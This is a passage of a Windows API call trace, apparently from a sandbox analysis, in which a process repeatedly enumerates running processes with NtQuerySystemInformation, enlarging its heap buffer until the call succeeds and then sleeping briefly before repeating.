	[0071.025] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0071.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.025] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0071.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.025] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0071.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.026] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0071.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.026] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0071.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.026] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0071.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.026] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0071.026] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.027] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0071.027] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.027] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0071.027] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.027] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0071.028] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.028] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0071.028] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.028] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0071.028] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.029] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0071.029] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.029] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0071.029] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.029] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0071.029] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.030] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0071.030] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.030] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0071.030] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.030] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0071.030] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.031] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0071.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.031] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0071.031] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.032] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0071.032] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.032] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0071.032] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.033] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0071.033] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.033] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0071.033] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.033] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0071.033] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.034] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0071.034] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.034] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0071.034] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.035] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0071.035] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0071.037] Sleep (dwMilliseconds=0x64) 
	[0071.283] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28865a0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28865a0, ResultLength=0x0) returned 0xc0000004
	[0071.284] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28865a0, Size=0x2048) returned 0x28c6ec0
	[0071.284] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c6ec0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c6ec0, ResultLength=0x0) returned 0xc0000004
	[0071.284] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c6ec0, Size=0x306c) returned 0x2894bd8
	[0071.284] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0071.285] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0071.285] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0071.285] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0071.286] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.286] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0071.286] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.286] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0071.286] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.286] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0071.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.287] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0071.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.287] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0071.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.287] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0071.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.288] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0071.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.288] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0071.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.288] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0071.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.289] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0071.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.289] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0071.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.290] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0071.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.290] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0071.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.290] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0071.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.293] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0071.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.293] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0071.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.294] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0071.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.294] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0071.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.294] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0071.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.295] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0071.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.295] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0071.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.296] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0071.296] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.296] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0071.296] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.297] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0071.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.297] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0071.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.298] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0071.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.298] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0071.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.299] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0071.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.299] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0071.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.300] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0071.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.300] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0071.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0071.302] Sleep (dwMilliseconds=0x64) 
	[0071.580] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2884390, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2884390, ResultLength=0x0) returned 0xc0000004
	[0071.581] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2884390, Size=0x2048) returned 0x28be6a0
	[0071.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be6a0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28be6a0, ResultLength=0x0) returned 0xc0000004
	[0071.581] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be6a0, Size=0x306c) returned 0x2894bd8
	[0071.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0071.582] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0071.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0071.582] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0071.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.583] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0071.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.583] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0071.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.583] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0071.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.584] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0071.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.584] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0071.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.584] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0071.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.585] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0071.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.585] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0071.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.585] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0071.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.586] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0071.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.586] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0071.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.587] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0071.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.587] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0071.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.587] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0071.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.590] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0071.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.590] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0071.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.590] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0071.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.591] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0071.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0071.591] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
